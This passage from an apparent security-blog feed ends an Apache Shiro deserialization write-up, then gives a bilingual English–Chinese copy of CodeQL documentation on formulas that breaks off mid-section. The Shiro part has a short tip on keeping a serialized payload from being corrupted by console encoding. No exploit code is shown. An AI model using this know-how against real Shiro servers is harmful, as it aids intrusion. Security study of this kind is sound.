cmd的编码是gdk，导致读取cmd内容的时候会<code>aced0005</code>变成<code>efbfbdefbfbd</code>，导致无法反序列化。<br><img src="https://img-blog.csdnimg.cn/20210120125258810.png" alt="在这里插入图片描述"><br>解决办法将生成的payload导入文件之中，然后读取二进制数据。<br><img src="https://img-blog.csdnimg.cn/20210122171101605.png" alt="在这里插入图片描述"></p><hr><h2 id="课外知识补充"><a href="#课外知识补充" class="headerlink" title="课外知识补充"></a>课外知识补充</h2><h3 id="springboot-debug技巧"><a href="#springboot-debug技巧" class="headerlink" title="springboot debug技巧"></a>springboot debug技巧</h3><p>在配置中VM options 输入<code>-Xms512m -Xmx512m -Xmn164m -XX:MaxPermSize=250m -XX:ReservedCodeCacheSize=64m -Dserver.port=8001 -ea</code><br><img src="https://img-blog.csdnimg.cn/202101221712423.png" alt="在这里插入图片描述"><br>同时在配置文件pom.xml加入</p><figure class="highlight"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">&lt;plugin&gt;</span><br><span class="line">        &lt;groupId&gt;org.springframework.boot&lt;/groupId&gt;</span><br><span class="line">        &lt;artifactId&gt;spring-boot-maven-plugin&lt;/artifactId&gt;</span><br><span class="line">        &lt;configuration&gt;</span><br><span class="line">            &lt;jvmArguments&gt;</span><br><span class="line">                -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=<span class="number">5005</span></span><br><span class="line">            &lt;/jvmArguments&gt;</span><br><span class="line">        &lt;/configuration&gt;</span><br><span class="line">    &lt;/plugin&gt;</span><br></pre></td></tr></tbody></table></figure><h3 id="VScode添加插件"><a href="#VScode添加插件" class="headerlink" title="VScode添加插件"></a>VScode添加插件</h3><p>Hex Editor插件</p><p><img src="https://img-blog.csdnimg.cn/20210122171520346.png" alt="在这里插入图片描述"><br>效果如下<br><img src="https://img-blog.csdnimg.cn/20210122171541915.png" alt="在这里插入图片描述"></p><h3 id="Git-自带-xxd工具"><a href="#Git-自带-xxd工具" class="headerlink" title="Git 自带 xxd工具"></a>Git 自带 xxd工具</h3><p>将工具路径加入环境变量<br><img src="https://img-blog.csdnimg.cn/20210122171754706.png" alt="在这里插入图片描述"><br>效果如下：</p><p><img src="https://img-blog.csdnimg.cn/20210122172003896.png" alt="在这里插入图片描述"></p><hr><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><p><a href="https://issues.apache.org/jira/browse/SHIRO-550" target="_blank" rel="noopener">https://issues.apache.org/jira/browse/SHIRO-550</a><br><a href="https://paper.seebug.org/1378" target="_blank" rel="noopener">https://paper.seebug.org/1378</a><br><a href="https://ares-x.com/2020/10/26/Shiro%E9%AB%98%E7%89%88%E6%9C%AC%E5%8A%A0%E5%AF%86%E6%96%B9%E5%BC%8F%E4%B8%8B%E7%9A%84%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/" target="_blank" rel="noopener">https://ares-x.com/2020/10/26/Shiro%E9%AB%98%E7%89%88%E6%9C%AC%E5%8A%A0%E5%AF%86%E6%96%B9%E5%BC%8F%E4%B8%8B%E7%9A%84%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/</a><br><a href="https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ" target="_blank" rel="noopener">https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;概述&quot;&gt;&lt;a href=&quot;#概述&quot; class=&quot;headerlink&quot; title=&quot;概述&quot;&gt;&lt;/a&gt;概述&lt;/h1&gt;&lt;p&gt;   Shiro反序列化漏洞目前为止有两个，Shiro-550&lt;code&gt;(Apache  Shiro &amp;lt; 1.2.5)&lt;/code&gt;
      
    
    </summary>
    
    
      <category term="代码审计" scheme="https://summersec.github.io/categories/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
    
      <category term="Java 反序列化" scheme="https://summersec.github.io/tags/Java-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
    
  </entry>
  
  <entry>
    <title>Formulas</title>
    <link href="https://summersec.github.io/2021/03/17/Formulas/"/>
    <id>https://summersec.github.io/2021/03/17/Formulas/</id>
    <published>2021-03-17T01:22:16.000Z</published>
    <updated>2021-03-20T08:30:43.708Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Formulas¶公式"><a href="#Formulas¶公式" class="headerlink" title="Formulas¶公式"></a>Formulas<a href="https://codeql.github.com/docs/ql-language-reference/formulas/#formulas" target="_blank" rel="noopener">¶</a>公式</h1><p>Formulas define logical relations between the free variables used in expressions.</p><blockquote><p>公式定义了表达式中使用的自由变量之间的逻辑关系。</p></blockquote><p>Depending on the values assigned to those <a href="https://codeql.github.com/docs/ql-language-reference/variables/#free-variables" target="_blank" rel="noopener">free variables</a>, a formula can be true or false. When a formula is true, we often say that the formula <em>holds</em>. For example, the formula <code>x = 4 + 5</code> holds if the value <code>9</code> is assigned to <code>x</code>, but it doesn’t hold for other assignments to <code>x</code>. Some formulas don’t have any free variables. For example <code>1 &lt; 2</code> always holds, and <code>1 &gt; 2</code> never holds.</p><blockquote><p>根据分配给这些自由变量的值，一个公式可以是真或假。当一个公式为真时，我们经常说这个公式成立。例如，如果给x分配了数值9，则公式x = 4 + 5成立，但对于x的其他分配则不成立。例如，1 &lt; 2 总是成立，而 1 &gt; 2 从不成立。</p></blockquote><p>You usually use formulas in the bodies of classes, predicates, and select clauses to constrain the set of values that they refer to. For example, you can define a class containing all integers <code>i</code> for which the formula <code>i in [0 .. 9]</code> holds.</p><blockquote><p>你通常在类、谓词和选择子句的主体中使用公式来限制它们所引用的值集。例如，您可以定义一个包含所有整数 i 的类，其中公式 i 在 [0 … 9] 中成立。</p></blockquote><p>The following sections describe the kinds of formulas that are available in QL.</p><blockquote><p>下面的章节描述了QL中可用的公式的种类。</p></blockquote><h2 id="Comparisons¶比较"><a href="#Comparisons¶比较" class="headerlink" title="Comparisons¶比较"></a>Comparisons<a href="https://codeql.github.com/docs/ql-language-reference/formulas/#comparisons" target="_blank" rel="noopener">¶</a>比较</h2><p>A comparison formula is of the form:</p><blockquote><p>比较公式的形式是</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;expression&gt; &lt;operator&gt; &lt;expression&gt;</span><br></pre></td></tr></tbody></table></figure><p>See the tables below for an overview of the available comparison operators.</p><blockquote><p>请看下面的表格，了解可用的比较运算符的概况。</p></blockquote><h3 id="Order运算符"><a href="#Order运算符" class="headerlink" title="Order运算符"></a>Order运算符</h3><p>To compare two expressions using one of these order operators, each expression must have a type and those types must be <a href="https://codeql.github.com/docs/ql-language-reference/types/#type-compatibility" target="_blank" rel="noopener">compatible</a> and <a href="https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#ordering" target="_blank" rel="noopener">orderable</a>.</p><blockquote><p>要使用这些顺序运算符中的一个来比较两个表达式，每个表达式必须有一个类型，而且这些类型必须是兼容和可排序的。</p></blockquote><table><thead><tr><th align="left">Name</th><th align="left">Symbol</th></tr></thead><tbody><tr><td align="left">Greater than</td><td align="left"><code>&gt;</code></td></tr><tr><td align="left">Greater than or equal to</td><td align="left"><code>&gt;=</code></td></tr><tr><td align="left">Less than</td><td align="left"><code>&lt;</code></td></tr><tr><td align="left">Less than or equal to</td><td align="left"><code>&lt;=</code></td></tr></tbody></table><p>For example, the formulas <code>"Ann" &lt; "Anne"</code> and <code>5 + 6 &gt;= 11</code> both hold.</p><blockquote><p>例如，公式 “Ann”&lt;”Anne “和5+6&gt;=11都成立。</p></blockquote><h3 id="Equality¶平等"><a href="#Equality¶平等" class="headerlink" title="Equality¶平等"></a>Equality<a href="https://codeql.github.com/docs/ql-language-reference/formulas/#equality" target="_blank" rel="noopener">¶</a>平等</h3><p>To compare two expressions using <code>=</code>, at least one of the expressions must have a type. If both expressions have a type, then their types must be <a href="https://codeql.github.com/docs/ql-language-reference/types/#type-compatibility" target="_blank" rel="noopener">compatible</a>.</p><blockquote><p>要使用=比较两个表达式，至少其中一个表达式必须有一个类型。如果两个表达式都有一个类型，那么它们的类型必须是兼容的。</p></blockquote><p>To compare two expressions using <code>!=</code>, both expressions must have a type. Those types must also be <a href="https://codeql.github.com/docs/ql-language-reference/types/#type-compatibility" target="_blank" rel="noopener">compatible</a>.</p><blockquote><p>要使用 != 比较两个表达式，两个表达式必须有一个类型。这些类型也必须是兼容的。</p></blockquote><table><thead><tr><th align="left">Name</th><th align="left">Symbol</th></tr></thead><tbody><tr><td align="left">Equal to</td><td align="left"><code>=</code></td></tr><tr><td align="left">Not equal to</td><td align="left"><code>!=</code></td></tr></tbody></table><p>For example, <code>x.sqrt() = 2</code> holds if <code>x</code> is <code>4</code>, and <code>4 != 5</code> always holds.</p><blockquote><p>例如，如果 x 是 4，x.sqrt() = 2 成立，而 4 !=5 总是成立。</p></blockquote><p>For expressions <code>A</code> and <code>B</code>, the formula <code>A = B</code> holds if there is a pair of values—one from <code>A</code> and one from <code>B</code>—that are the same. In other words, <code>A</code> and <code>B</code> have at least one value in common. For example, <code>[1 .. 2] = [2 .. 5]</code> holds, since both expressions have the value <code>2</code>.</p><blockquote><p>对于表达式 A 和 B，如果有一对值–一个来自 A，一个来自 B–相同，则公式 A = B 成立。换句话说，A和B至少有一个共同的值。例如，[1 … 2]=[2 … 5]成立，因为两个表达式的值都是2。</p></blockquote><p>As a consequence, <code>A != B</code> has a very different meaning to the <a href="https://codeql.github.com/docs/ql-language-reference/formulas/#negation" target="_blank" rel="noopener">negation</a> <code>not A = B</code> <a href="https://codeql.github.com/docs/ql-language-reference/formulas/#id10" target="_blank" rel="noopener">[1]</a>:</p><blockquote><p>因此，A !=B与否定式not A = B [1]的意义截然不同: </p></blockquote><ul><li><p><code>A != B</code> holds if there is a pair of values (one from <code>A</code> and one from <code>B</code>) that are different.</p><blockquote><p>如果有一对不同的值(一个来自A, 一个来自B), 则A != B成立.</p></blockquote></li><li><p><code>not A = B</code> holds if it is <em>not</em> the case that there is a pair of values that are the same. In other words, <code>A</code> and <code>B</code> have no values in common.</p><blockquote><p>如果不是存在一对数值相同的情况，则not A = B成立。换句话说，A和B没有共同的值。</p></blockquote></li></ul><p><strong>Examples</strong></p><ol><li><ul><li><p>If both expressions have a single value (for example <code>1</code> and <code>0</code>), then comparison is straightforward:</p><blockquote><p>如果两个表达式都只有一个值（例如1和0），那么比较就很直接:</p></blockquote><p>   <code>1 != 0</code> holds.<code>1 = 0</code> doesn’t hold.<code>not 1 = 0</code> holds.</p></li></ul></li><li><ul><li><p>Now compare <code>1</code> and <code>[1 .. 2]</code>:</p><p>   <code>1 != [1 .. 2]</code> holds, because <code>1 != 2</code>.<code>1 = [1 .. 2]</code> holds, because <code>1 = 1</code>.<code>not 1 = [1 .. 2]</code> doesn’t hold, because there is a common value (<code>1</code>).</p></li></ul></li><li><ul><li><p>Compare <code>1</code> and <code>none()</code> (the “empty set”):</p><p>   <code>1 != none()</code> doesn’t hold, because there are no values in <code>none()</code>, so no values that are not equal to <code>1</code>.<code>1 = none()</code> also doesn’t hold, because there are no values in <code>none()</code>, so no values that are equal to <code>1</code>.<code>not 1 = none()</code> holds, because there are no common values.</p></li></ul></li></ol><h2 id="Type-checks¶类型检查"><a href="#Type-checks¶类型检查" class="headerlink" title="Type checks¶类型检查"></a>Type checks<a href="https://codeql.github.com/docs/ql-language-reference/formulas/#type-checks" target="_blank" rel="noopener">¶</a>类型检查</h2><p>A type check is a formula that looks like:</p><blockquote><p>范围检查是一个公式就像:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;expression&gt; instanceof &lt;type&gt;</span><br></pre></td></tr></tbody></table></figure><p>You can use a type check formula to check whether an expression has a certain type. For example, <code>x instanceof Person</code> holds if the variable <code>x</code> has type <code>Person</code>.</p><blockquote><p>你可以使用类型检查公式来检查一个表达式是否具有某种类型。例如，如果变量x的类型为Person，则x instanceof Person成立。</p></blockquote><h2 id="Range-checks¶范围检查"><a href="#Range-checks¶范围检查" class="headerlink" title="Range checks¶范围检查"></a>Range checks<a href="https://codeql.github.com/docs/ql-language-reference/formulas/#range-checks" target="_blank" rel="noopener">¶</a>范围检查</h2><p>A range check is a formula that looks like:</p><blockquote><p>范围检查是一个公式就像:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;expression&gt; in &lt;range&gt;</span><br></pre></td></tr></tbody></table></figure><p>You can use a range check formula to check whether a numeric expression is in a given <a href="https://codeql.github.com/docs/ql-language-reference/expressions/#ranges" target="_blank" rel="noopener">range</a>. For example, <code>x in [2.1 .. 10.5]</code> holds if the variable <code>x</code> is between the values <code>2.1</code> and <code>10.5</code> (including <code>2.1</code> and <code>10.5</code> themselves).</p><blockquote><p>你可以使用范围检查公式来检查一个数字表达式是否在给定的范围内。例如，x在[2.1 … 10.5]中，如果变量x在值2.1和10.5之间（包括2.1和10.5本身），则该变量成立。</p></blockquote><p>Note that <code>&lt;expression&gt; in &lt;range&gt;</code> is equivalent to <code>&lt;expression&gt; = &lt;range&gt;</code>. Both formulas check whether the set of values denoted by <code>&lt;expression&gt;</code> is the same as the set of values denoted by <code>&lt;range&gt;</code>.</p><blockquote><p>注意，<range>中的<expression>相当于<expression>=<range>。两个公式都检查<expression>表示的值集是否与<range>表示的值集相同。</range></expression></range></expression></expression></range></p></blockquote><h2 id="Calls-to-predicates¶调用谓词"><a href="#Calls-to-predicates¶调用谓词" class="headerlink" title="Calls to predicates¶调用谓词"></a>Calls to predicates<a href="https://codeql.github.com/docs/ql-language-reference/formulas/#calls-to-predicates" target="_blank" rel="noopener">¶</a>调用谓词</h2><p>A call is a formula or <a href="https://codeql.github.com/docs/ql-language-reference/expressions/#expressions" target="_blank" rel="noopener">expression</a> that consists of a reference to a predicate and a number of arguments.</p><blockquote><p>调用是一个公式或表达式，它由对谓词的引用和一些参数组成。</p></blockquote><p>For example, <code>isThree(x)</code> might be a call to a predicate that holds if the argument <code>x</code> is <code>3</code>, and <code>x.isEven()</code> might be a call to a member predicate that holds if <code>x</code> is even.</p><blockquote><p>例如，isThree(x)可能是对一个谓词的调用，如果参数x是3，这个谓词就成立；x.isEven()可能是对一个成员谓词的调用，如果x是偶数，这个谓词就成立。</p></blockquote><p>A call to a predicate can also contain a closure operator, namely <code>*</code> or <code>+</code>. For example, <code>a.isChildOf+(b)</code> is a call to the <a href="https://codeql.github.com/docs/ql-language-reference/recursion/#transitive-closures" target="_blank" rel="noopener">transitive closure</a> of <code>isChildOf()</code>, so it holds if <code>a</code> is a descendent of <code>b</code>.</p><blockquote><p>对谓词的调用也可以包含一个闭合操作符，即 * 或 +。例如，a.isChildOf+(b)是对isChildOf()的转义闭包的调用，所以如果a是b的后裔，它就成立。</p></blockquote><p>The predicate reference must resolve to exactly one predicate. For more information about how a predicate reference is resolved, see “<a href="https://codeql.github.com/docs/ql-language-reference/name-resolution/#name-resolution" target="_blank" rel="noopener">Name resolution</a>.”</p><blockquote><p>谓词引用必须精确地解析到一个谓词。有关如何解析谓词引用的更多信息，请参阅 “名称解析”。</p></blockquote><p>If the call resolves to a predicate without result, then the call is a formula.</p><blockquote><p>如果调用解析到一个没有结果的谓词，那么这个调用就是一个公式。</p></blockquote><p>It is also possible to call a predicate with result. This kind of call is an expression in QL, instead of a formula. For more information, see “<a href="https://codeql.github.com/docs/ql-language-reference/expressions/#calls-with-result" target="_blank" rel="noopener">Calls to predicates (with result)</a>.”</p><blockquote><p>也可以调用一个有结果的谓词。这种调用是QL中的表达式，而不是公式。更多信息，请参阅 “对谓词的调用（带结果）”。</p></blockquote><h2 id="Parenthesized-formulas¶括号公式"><a href="#Parenthesized-formulas¶括号公式" class="headerlink" title="Parenthesized formulas¶括号公式"></a>Parenthesized formulas<a href="https://codeql.github.com/docs/ql-language-reference/formulas/#parenthesized-formulas" target="_blank" rel="noopener">¶</a>括号公式</h2><p>A parenthesized formula is any formula surrounded by parentheses, <code>(</code> and <code>)</code>. This formula has exactly the same meaning as the enclosed formula. The parentheses often help to improve readability and group certain formulas together.</p><blockquote><p>括号公式是指任何用括号、（和）包围的公式。这个公式与被包围的公式具有完全相同的含义。小括号通常有助于提高可读性，并将某些公式组合在一起。</p></blockquote><h2 id="Quantified-formulas¶量化公式"><a href="#Quantified-formulas¶量化公式" class="headerlink" title="Quantified formulas¶量化公式"></a>Quantified formulas<a href="https://codeql.github.com/docs/ql-language-reference/formulas/#quantified-formulas" target="_blank" rel="noopener">¶</a>量化公式</h2><p>A quantified formula introduces temporary variables and uses them in formulas in its body. This is a way to create new formulas from existing ones.</p><blockquote><p>量化公式引入了临时变量，并在其主体的公式中使用它们。这是一种从现有公式创建新公式的方法。</p></blockquote><h3 id="Explicit-quantifiers¶显示量词"><a href="#Explicit-quantifiers¶显示量词" class="headerlink" title="Explicit quantifiers¶显示量词"></a>Explicit quantifiers<a href="https://codeql.github.com/docs/ql-language-reference/formulas/#explicit-quantifiers" target="_blank" rel="noopener">¶</a>显示量词</h3><p>The following explicit “quantifiers” are the same as the usual existential and universal quantifiers in mathematical logic.</p><blockquote><p>以下明确的 “量词 “与数理逻辑中常用的存在量词和普遍量词相同。</p></blockquote><h4 id="exists"><a href="#exists" class="headerlink" title="exists"></a><code>exists</code></h4><p>This quantifier has the following syntax:</p><blockquote><p>此量词具有以下语法：</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">exists(&lt;variable declarations&gt; | &lt;formula&gt;)</span><br></pre></td></tr></tbody></table></figure><p>You can also write <code>exists(&lt;variable declarations&gt; | &lt;formula 1&gt; | &lt;formula 2&gt;)</code>. This is equivalent to <code>exists(&lt;variable declarations&gt; | &lt;formula 1&gt; and &lt;formula 2&gt;)</code>.</p><blockquote><p>你也可以写 exist(&lt;变量声明&gt; | &lt;公式1&gt; | &lt;公式2&gt;)。这相当于 exists(&lt;变量声明&gt; | &lt;公式1&gt; 和 &lt;公式2&gt;)。</p></blockquote><p>This quantified formula introduces some new variables. It holds if there is at least one set of values that the variables could take to make the formula in the body true.</p><blockquote><p>这个量化公式引入了一些新的变量。如果至少有一组变量的值可以使正文中的公式为真，它就成立。</p></blockquote><p>For example, <code>exists(int i | i instanceof OneTwoThree)</code> introduces a temporary variable of type <code>int</code> and holds if any value of that variable has type <code>OneTwoThree</code>.</p><blockquote><p>例如，exists(int i | i instanceof OneTwoThree)引入了一个类型为int的临时变量，如果该变量的任何值具有OneTwoThree类型，则该变量成立。</p></blockquote><h4 id="forall"><a href="#forall" class="headerlink" title="forall"></a><code>forall</code></h4><p>This quantifier has the following syntax:</p><blockquote><p>此量词具有以下语法：</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">forall(&lt;variable declarations&gt; | &lt;formula 1&gt; | &lt;formula 2&gt;)</span><br></pre></td></tr></tbody></table></figure><p><code>forall</code> introduces some new variables, and typically has two formulas in its body. It holds if <code>&lt;formula 2&gt;</code> holds for all values that <code>&lt;formula 1&gt;</code> holds for.</p><blockquote><p>forall 引入了一些新的变量，通常在它的正文中有两个公式。如果&lt;公式2&gt;对&lt;公式1&gt;的所有值都成立，那么它就成立。</p></blockquote><p>For example, <code>forall(int i | i instanceof OneTwoThree | i &lt; 5)</code> holds if all integers that are in the class <code>OneTwoThree</code> are also less than <code>5</code>. In other words, if there is a value in <code>OneTwoThree</code> that is greater than or equal to <code>5</code>, then the formula doesn’t hold.</p><blockquote><p>例如，forall(int i | i instanceof OneTwoThree | i &lt; 5) 如果所有在 OneTwoThree 类中的整数也小于 5，则 forall(int i | i instanceof OneTwoThree | i &lt; 5) 成立。换句话说，如果 OneTwoThree 中有一个值大于或等于 5，那么这个公式就不成立。</p></blockquote><p>Note that <code>forall(&lt;vars&gt; | &lt;formula 1&gt; | &lt;formula 2&gt;)</code> is logically the same as <code>not exists(&lt;vars&gt; | &lt;formula 1&gt; | not &lt;formula 2&gt;)</code>.</p><blockquote><p>请注意，forall(<vars> | &lt;公式1&gt; | &lt;公式2&gt;)在逻辑上与不存在(<vars> | &lt;公式1&gt; | 不&lt;公式2&gt;)是一样的。</vars></vars></p></blockquote><h4 id="forex"><a href="#forex" class="headerlink" title="forex"></a><code>forex</code></h4><p>This quantifier has the following syntax:</p><blockquote><p>此量词具有以下语法：</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">forex(&lt;variable declarations&gt; | &lt;formula 1&gt; | &lt;formula 2&gt;)</span><br></pre></td></tr></tbody></table></figure><p>This quantifier exists as a shorthand for:</p><blockquote><p>这个量化符是作为以下函数的简写而存在:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">forall(&lt;vars&gt; | &lt;formula 1&gt; | &lt;formula 2&gt;) and</span><br><span class="line">exists(&lt;vars&gt; | &lt;formula 1&gt; | &lt;formula 2&gt;)</span><br></pre></td></tr></tbody></table></figure><p>In other words, <code>forex</code> works in a similar way to <code>forall</code>, except that it ensures that there is at least one value for which <code>&lt;formula 1&gt;</code> holds. To see why this is useful, note that the <code>forall</code> quantifier could hold trivially. For example, <code>forall(int i | i = 1 and i = 2 | i = 3)</code> holds: there are no integers <code>i</code> which are equal to both <code>1</code> and <code>2</code>, so the second part of the body <code>(i = 3)</code> holds for every integer for which the first part holds.</p><blockquote><p>换句话说，forex的工作方式与forall类似，只是它确保至少有一个值的&lt;公式1&gt;成立。要知道为什么这很有用，请注意forall量化符可以琐碎地保持。例如，forall(int i | i = 1 and i = 2 | i = 3)成立：没有整数i既等于1又等于2，所以主体的第二部分(i = 3)对第一部分成立的每个整数都成立。</p></blockquote><p>Since this is often not the behavior that you want in a query, the <code>forex</code> quantifier is a useful shorthand.</p><blockquote><p>由于这往往不是你在查询中想要的行为，所以外汇量化符是一个有用的速记符。</p></blockquote><h3 id="Implicit-quantifiers¶隐式量词"><a href="#Implicit-quantifiers¶隐式量词" class="headerlink" title="Implicit quantifiers¶隐式量词"></a>Implicit quantifiers<a href="https://codeql.github.com/docs/ql-language-reference/formulas/#implicit-quantifiers" target="_blank" rel="noopener">¶</a>隐式量词</h3><p>Implicitly quantified variables can be introduced using “don’t care expressions.” These are used when you need to introduce a variable to use as an argument to a predicate call, but don’t care about its value. For further information, see “<a href="https://codeql.github.com/docs/ql-language-reference/expressions/#don-t-care-expressions" target="_blank" rel="noopener">Don’t-care expressions</a>.”</p><blockquote><p>可以使用 “不在乎表达式 “引入隐式量词的变量。当您需要引入一个变量作为谓词调用的参数，但不关心它的值时，就会使用这些变量。有关更多信息，请参阅 “不在乎表达式”。</p></blockquote><h2 id="Logical-connectives¶逻辑连接词"><a href="#Logical-connectives¶逻辑连接词" class="headerlink" title="Logical connectives¶逻辑连接词"></a>Logical connectives<a href="https://codeql.github.com/docs/ql-language-reference/formulas/#logical-connectives" target="_blank" rel="noopener">¶</a>逻辑连接词</h2><p>You can use a number of logical connectives between formulas in QL. They allow you to combine existing formulas into longer, more complex ones.</p><blockquote><p>在QL中，您可以在公式之间使用一些逻辑连接。它们允许您将现有的公式组合成更长、更复杂的公式。</p></blockquote><p>To indicate which parts of the formula should take precedence, you can use parentheses. Otherwise, the order of precedence from highest to lowest is as follows:</p><blockquote><p>为了指示公式的哪些部分应该优先，您可以使用括号。否则，从高到低的优先顺序如下:</p></blockquote><ol><li>Negation (<a href="https://codeql.github.com/docs/ql-language-reference/formulas/#negation" target="_blank" rel="noopener">not</a>)</li><li>Conditional formula (<a href="https://codeql.github.com/docs/ql-language-reference/formulas/#conditional" target="_blank" rel="noopener">if … then … else</a>)</li><li>Conjunction (<a href="https://codeql.github.com/docs/ql-language-reference/formulas/#conjunction" target="_blank" rel="noopener">and</a>)</li><li>Disjunction (<a href="https://codeql.github.com/docs/ql-language-reference/formulas/#disjunction" target="_blank" rel="noopener">or</a>)</li><li>Implication (<a href="https://codeql.github.com/docs/ql-language-reference/formulas/#implication" target="_blank" rel="noopener">implies</a>)</li></ol><p>For example, <code>A and B implies C or D</code> is equivalent to <code>(A and B) implies (C or D)</code>.</p><blockquote><p>例如，A和B意味着C或D相当于（A and B）意味着（C or D）。</p></blockquote><p>Similarly, <code>A and not if B then C else D</code> is equivalent to <code>A and (not (if B then C else D))</code>.</p><blockquote><p>  同理，A and not if B then C else D等同于A and (not (if B then C else D))。</p></blockquote><p>Note that the <a href="https://codeql.github.com/docs/ql-language-reference/formulas/#parenthesized-formulas" target="_blank" rel="noopener">parentheses</a> in the above examples are not necessary, since they highlight the default precedence. You usually only add parentheses to override the default precedence, but you can also add them to make your code easier to read (even if they aren’t required).</p><blockquote><p>请注意，上述例子中的括号不是必须的，因为它们突出了默认的优先级。您通常只添加括号来覆盖默认的优先级，但您也可以添加括号来使您的代码更容易阅读（即使它们不是必需的）。</p></blockquote><p>The logical connectives in QL work similarly to Boolean connectives in other programming languages. Here is a brief overview:</p><blockquote><p>QL中的逻辑连接符的工作原理与其他编程语言中的布尔连接符类似。下面是一个简单的概述:</p></blockquote><h3 id="not"><a href="#not" class="headerlink" title="not"></a><code>not</code></h3><p>You can use the keyword <code>not</code> before a formula. The resulting formula is called a negation.</p><p><code>not A</code> holds exactly when <code>A</code> doesn’t hold.</p><blockquote><p>你可以在公式前使用关键字not。由此产生的公式称为否定式。</p></blockquote><p><strong>Example</strong></p><p>The following query selects files that are not HTML files.</p><blockquote><p>下面的查询选择非HTML文件的文件。    </p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">from File f</span><br><span class="line">where not f.getFileType().isHtml()</span><br><span class="line">select f</span><br></pre></td></tr></tbody></table></figure><blockquote><p>Note</p><p>You should be careful when using <code>not</code> in a recursive definition, as this could lead to non-monotonic recursion. For more information, “<a href="https://codeql.github.com/docs/ql-language-reference/recursion/#non-monotonic-recursion" target="_blank" rel="noopener">Non-monotonic recursion</a>.”</p><p>在递归定义中使用not时应该小心，因为这可能导致非单调递归。更多信息，”非单调递归”。</p></blockquote><h3 id="if-then-else"><a href="#if-then-else" class="headerlink" title="if ... then ... else"></a><code>if ... then ... else</code></h3><p>You can use these keywords to write a conditional formula. This is another way to simplify notation: <code>if A then B else C</code> is the same as writing <code>(A and B) or ((not A) and C)</code>.</p><blockquote><p> 你可以用这些关键字来写一个条件公式。这是另一种简化符号的方法：如果 A 那么 B else C 与写 (A and  B) or ((not A) and C) 是一样的。</p></blockquote><p><strong>Example</strong></p><p>With the following definition, <code>visibility(c)</code> returns <code>"public"</code> if <code>x</code> is a public class and returns <code>"private"</code> otherwise:</p><blockquote><p>通过下面的定义，如果x是一个公共类，则visibility(c)返回 “public”，否则返回 “private”:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">string visibility(Class c){</span><br><span class="line">  if c.isPublic()</span><br><span class="line">  then result = "public"</span><br><span class="line">  else result = "private"</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><h3 id="and"><a href="#and" class="headerlink" title="and"></a><code>and</code></h3><p>You can use the keyword <code>and</code> between two formulas. The resulting formula is called a conjunction.</p><p><code>A and B</code> holds if, and only if, both <code>A</code> and <code>B</code> hold.</p><blockquote><p>你可以在两个公式之间使用关键字和。由此产生的公式称为连词。</p></blockquote><p><strong>Example</strong></p><p>The following query selects files that have the <code>js</code> extension and contain fewer than 200 lines of code:</p><blockquote><p>下面的查询选择了以js为扩展名且包含少于200行代码的文件:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">from File f</span><br><span class="line">where f.getExtension() = "js" and</span><br><span class="line">  f.getNumberOfLinesOfCode() &lt; 200</span><br><span class="line">select f</span><br></pre></td></tr></tbody></table></figure><h3 id="or"><a href="#or" class="headerlink" title="or"></a><code>or</code></h3><p>You can use the keyword <code>or</code> between two formulas. The resulting formula is called a disjunction.</p><blockquote><p>可以在两个公式之间使用关键字或。由此产生的公式称为析取。</p></blockquote><p><code>A or B</code> holds if at least one of <code>A</code> or <code>B</code> holds.</p><blockquote><p>如果 A 或 B 中至少有一个成立，则 A 或 B 成立。</p></blockquote><p><strong>Example</strong></p><p>With the following definition, an integer is in the class <code>OneTwoThree</code> if it is equal to <code>1</code>, <code>2</code>, or <code>3</code>:</p><blockquote><p>在下面的定义中，如果整数等于 1、2 或 3，则该整数属于 OneTwoThree 类：</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">class OneTwoThree extends int {</span><br><span class="line">  OneTwoThree() {</span><br><span class="line">    this = 1 or this = 2 or this = 3</span><br><span class="line">  }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><h3 id="implies"><a 